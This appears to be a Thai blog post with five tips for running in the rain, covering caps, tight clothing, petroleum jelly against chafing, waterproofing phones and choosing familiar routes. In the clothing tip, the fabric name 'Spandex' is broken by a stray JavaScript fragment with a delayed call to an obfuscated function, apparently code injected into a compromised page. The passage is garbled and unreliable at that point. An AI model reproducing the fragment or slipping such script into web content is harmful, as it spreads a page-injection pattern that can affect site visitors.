เสน่ห์ของการวิ่งกลางสายฝนก็คือ วิ่งไปทั้งๆ ที่เปียกนี้แหละ เท่จะตาย ความตั้งใจอันเด็ดเดียว ใครมาขวางก็ไม่ได้ แต่ใครไม่อยากเปียกแต่ก้อยากวิ่ง แนะนำให้ลองใช้ลู่วิ่งในยิมแทนละกัน หรือจะใช้การปั่นจักรยานแบบ Stationary Bike ก็ได้ จะได้ใช้กล้ามเนื้อชุดอื่นบ้าง และได้ออกกำลังกายแบบคาร์ดิโอไปในตัว
เรามาดูกันว่าทิปการวิ่งกลางสายฝนมีอะไรกันบ้าง…
1. สวมหมวกหรือหมวก Visor การใส่หมวกช่วยให้วิสัยทัศน์การมองเห็นดีขึ้น ปีกหมวกจะช่วยป้องกันเม็ดฝนและน้ำไหลเข้าตา ให้คุณมองเห็นเส้นทางวิ่งชัดเจนและไม่ถูกรบกวน
2. ใส่ชุดรับรูปเข้าไว้ สาเหตุที่ต้องใส่เสื้อรัดๆ ก็เพราะว่าการใส่เสื้อกางกางวิ่งทั่วไปที่หลวมๆ สบายๆ เวลาเปียกจะอุ้มน้ำไว้เยอะ หนักและรีดน้ำออกได้ช้า หรือใส่เสื้อน้อยชิ้นเข้าไว้ เสื้อกล้ามตัวเดียวและกางกางวิ่งที่ฟิตๆ หน่อย จะเป็นแบบรัดกล้ามเนื้อหรือแนบเนื้อก็ได้ เนื้อผ้าที่แนะนำจะเป็นพวก Spandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andex
3. ทาวาสลีนตามข้อพับและตามพื้นที่ที่มีโอกาสเสียดสี เมื่อผ้าเปียกความชื่นจะทำให้เกิดการเสียดสีมากขึ้น การทาวาสลีนช่วยลดการเกิดแผลถลอกจากการเสียดสีของเสื้อการผิวหนัก หรือผิวหนังกับผิวหนังตามบริเวณข้อพับต่างๆ
4. ปกป้องอุปกรณ์อิเล็กทรอนนิกส์ของคุณซะ มือถือส่วนมากจะไม่ได้ออกแบบมาสำหรับลุยน้ำ สำหรับรุ่นที่กันน้ำได้ก็จะมีราคาสูงขึ้นมาหน่อย แต่ใครที่ไม่มีก็สามารถใช้ถุง Ziplock หรือจะใช้ถุงพลาสติกแก้ขัดก็ได้ เวลาเสื้อผ้าเปียกมากๆ เข้า น้ำมันจะซึมเข้ามือถือเราได้ และสำหรับใครที่มีนาฬิกาวิ่ง ลองตรวจเช็คให้ดีว่า รุ่นที่คุณใส่นั้นกันน้ำหรือเปล่า ส่วนใครที่ชอบฟังเพลงระหว่างวิ่ง จะใช้หูฟังก็แนะนำดูรุ่นที่กันน้ำละกัน แต่ส่วนตัวในวันที่วิ่งตากฝนพร่ำๆ ควรวิ่งตัวเปล่าดีที่สุด ฝนและน้ำมักมักจะไหลทะลุทะลวงเข้าส่วนต่างๆ คนที่ใส่หูฟังเวลาวิ่งระวังน้ำฝนไหลเข้าหูนะ
5. ใช้เส้นทางที่คุ้นเคย เวลาวิ่งในวันฝนตก สำคัญคือต้องรู้ทางหนีที่ไล่ของสนามวิ่ง ประตูเข้าออกสนาม ระยะทางของสนาม ห้องน้ำ ป้อมยาม การวิ่งในที่เปิดและต่างถิ่นไม่แนะนำอย่างยิ่ง ดีที่สุดคือวิ่งในสวน เพราะเราคุ้นเคยกับเส้นทาง เวลาเกิดฝนเทมากๆ เข้าหรือไม่ไหวจริงๆ จะได้หลบฝนหรือหาจุดพักได้สบาย